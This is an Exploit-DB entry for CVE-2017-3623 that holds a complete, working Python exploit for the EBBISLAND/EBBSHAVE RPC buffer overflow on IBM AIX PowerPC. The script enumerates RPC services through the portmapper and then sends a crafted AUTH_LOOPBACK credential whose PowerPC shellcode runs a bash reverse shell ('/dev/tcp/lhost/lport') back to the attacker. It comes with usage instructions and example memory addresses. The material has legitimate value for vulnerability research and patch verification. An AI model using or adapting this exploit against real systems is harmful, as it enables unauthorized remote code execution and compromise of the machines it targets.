标题: EBBISLAND EBBSHAVE 6100-09-04-1441 - Remote Buffer Overflow EDB-ID: 47888 CVE: 2017-3623 类型: REMOTE 平台: HARDWARE 发布日期: 2020-01-08 漏洞利用脚本: # Exploit Title: EBBISLAND EBBSHAVE 6100-09-04-1441 - Remote Buffer Overflow
# Date: 2018-09-19
# Exploit Author: Harrison Neal
# Vendor Homepage: https://www.ibm.com/us-en/
# Version: 6100-09-04-1441, 7100-03-05-1524, 7100-04-00-0000, 7200-01-01-1642
# Tested on: IBM AIX PPC
# CVE: CVE-2017-3623
# EBBISLAND / EBBSHAVE RPC Buffer Overflow for IBM AIX PPC


#!/usr/bin/python
# Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc

# Exploit code example; shellcode requires /usr/bin/bash on the target

# Example values for my AIX 7.2 LPAR:
# gid_base: 3007d390
# execl_func: d0307940
# execl_toc: f081bc20

# CAUTION: If a RPC service repeatedly crashes, it can be automatically disabled

from os import urandom
from socket import socket, AF_INET, SOCK_STREAM
from struct import pack, unpack
from sys import argv, exit
from time import time, sleep

def getCredLoopbackBody():
 global gid_base, rhost, lhost, lport, gid_base, execl_func, execl_toc

 epoch = pack('>I', time()) # Make sure the system clock is in sync w/ target

 # Doesn't matter, ljust call assumes len <= 4
 node_name = 'hn'
 node_length = pack('>I', len(node_name))
 node_name = node_name.ljust(4, '\x00')

 # Also doesn't matter
 uid = pack('>I', 0)
 gid = pack('>I', 0)

 # Big enough to trigger an overflow
 # Not big enough to trigger defensive code
 # You could make this a little bit less,
 # but you'd have to tweak the part 2 code
 gids_len = pack('>I', 64)

 base_addr = pack('>I', gid_base)
 addr_8c = pack('>I', gid_base + 0x8c)
 addr_a8 = pack('>I', gid_base + 0xa8)
 addr_4c = pack('>I', gid_base + 0x4c)

 func_addr = pack('>I', execl_func)
 toc_addr = pack('>I', execl_toc)

 cmd = 'bash -i >& /dev/tcp/' + lhost + '/' + lport + ' 0>&1'
 cmd = cmd.ljust(0x30, '\x00')

 # Each GID is 4 bytes long, we want 64
 gids = (
  # +0x0 # filepath
  '/usr/bin/bash\x00\x00\x00'

  # +0x10 # argv[0]
  'bash\x00\x00\x00\x00'

  # +0x18 # argv[1]
  '-c\x00\x00'

  # +0x1c # argv[2]
 ) + cmd + (

  # +0x4c # r3 = filepath
  '\x70\x63\x00\x00' # andi. r3, r3, 0x0
  '\x3c\x60'
 ) + base_addr[0:2] + ( # lis r3, ...
  '\x60\x63'
 ) + base_addr[2:4] + ( # ori r3, r3, ...

  # +0x58 # r4 = argv[0]
  '\x38\x83\x00\x10' # addi r4, r3, 0x10

  # +0x5c # r5 = argv[1]
  '\x38\xa4\x00\x08' # addi r5, r4, 0x8

  # +0x60 # r6 = argv[2]
  '\x38\xc5\x00\x04' # addi r6, r5, 0x4

  # +0x64 # r7 = NULL
  '\x70\xe7\x00\x00' # andi. r7, r7, 0x0

  # +0x68 # r2 = libc.a TOC for execl
  '\x70\x42\x00\x00' # andi. r2, r2, 0x0
  '\x3c\x40'
 ) + toc_addr[0:2] + ( # lis r2, ...
  '\x60\x42'
 ) + toc_addr[2:4] + ( # ori r2, r2, ...

  # +0x74 # execl
  '\x71\x08\x00\x00' # andi. r8, r8, 0x0
  '\x3d\x00'
 ) + func_addr[0:2] + ( # lis r8, ...
  '\x61\x08'
 ) + func_addr[2:4] + ( # ori r8, ...
  '\x7d\x09\x03\xa6' # mtctr r8
  '\x4e\x80\x04\x21' # bctrl

  # +0x88 # 0x14 padding
  'AAAAAAAAAAAAAAAAAAAA'

  # +0x9c # Will be NULL
  'ZZZZ'

  # +0xa0
  # @+948: r5 = +0x8c
  # @+968: r5 = *(+0x8c + 0x18) = *(+0xa4)

  # +0xa4
  # @+968: r5 = +0xa8
  # @+972: r0 = *(r5 + 0x0) = *(+0xa8)

  # +0xa8
  # @+972: r0 = +0x4c
  # @+980: ctr = r0 = +0x4c
  # @+988: branch to ctr
 ) + addr_8c + addr_a8 + addr_4c + (

  # +0xac # padding
  'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
 )

 print ":".join("{:02x}".format(ord(c)) for c in gids)
 print len(gids)

 return epoch + node_length + node_name + uid + gid + gids_len + gids

def getCredLoopback():
 cred_flavor = pack('>I', 0x55de) # AUTH_LOOPBACK

 cred_body = getCredLoopbackBody()
 cred_len = pack('>I', len(cred_body))

 return cred_flavor + cred_len + cred_body

def getAuthNone():
 auth_flavor = pack('>I', 0) # AUTH_NONE

 auth_len = pack('>I', 0)

 return auth_flavor + auth_len

def getMessage(prog_num, ver_num, proc_num, use_loopback_cred):
 xid = urandom(4)

 mtype = pack('>I', 0) # CALL

 rpcvers = pack('>I', 2)

 prog = pack('>I', prog_num)
 vers = pack('>I', ver_num)

 proc = pack('>I', proc_num)

 cred = ( getCredLoopback() if use_loopback_cred else getAuthNone() )

 verf = getAuthNone()

 return xid + mtype + rpcvers + prog + vers + proc + cred + verf

def getPacket(message):
 # MSB on = this is the last fragment
 # LSBs = fragment length
 frag = pack('>I', len(message) + 0x80000000)

 return frag + message

if len(argv) < 7:
 print 'Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc'
 exit(1)

rhost = argv[1]
lhost = argv[2]
lport = argv[3]
gid_base = int(argv[4], 16)
execl_func = int(argv[5], 16)
execl_toc = int(argv[6], 16)

# Query the portmapper for services

services = []

s = socket(AF_INET, SOCK_STREAM)
s.connect((rhost, 111)) # port 111 for portmapper
s.send(getPacket(getMessage(
 100000, # portmapper
 2, # version 2
 4, # DUMP
 False # unauth request
 )))

s.recv(0x1c) # skip over fragment length, XID, message type, reply state, verifier, accept state

while list(unpack('>I', s.recv(4)))[0]: # while next "value follows" field is true
 prog_num, ver_num, proto_num, port = unpack('>IIII', s.recv(16))
 if (prog_num == 100024 # status
  and proto_num == 6): # TCP
   print '[ ] Found service ' + str(prog_num) + ' v' + str(ver_num) + ' on TCP port ' + str(port)
   services.append((prog_num, ver_num, port))

s.close()

# Try attacking

for service in services:
 prog_num, ver_num, port = service

 serv_str = str(prog_num) + ' v' + str(ver_num)

 for attack in [False, True]:
  sleep(1) # be gentle

  print '[ ] ' + ( 'Attacking' if attack else 'Pinging' ) + ' ' + serv_str

  s = socket(AF_INET, SOCK_STREAM)
  s.connect((rhost, port))

  resp_len = 0

  s.send(getPacket(getMessage(
   prog_num,
   ver_num,
   0, # NULL, acts like a ping
   attack
   )))

  s.settimeout(5) # give inetd/... a chance to spin up the service if needed

  try:
   resp_len = len( s.recv(1024) ) # try to receive up to 1024 bytes
  except:
   resp_len = 0 # typically either timeout, connection error, or Ctrl+C

  try:
   s.close() # try closing the connection if it isn't already dead
  except:
   pass # connection is probably already dead

  print '[ ] Got response length ' + str(resp_len)

  if resp_len == 0: # suspect the service either timed out or crashed
   if attack:
    print '[+] Probably vulnerable to EBBSHAVE, hopefully you have a shell'
   else:
    print '[-] Service probably down or otherwise misbehaving, skipping...'
    break URL: https://www.exploit-db.com/exploits/47888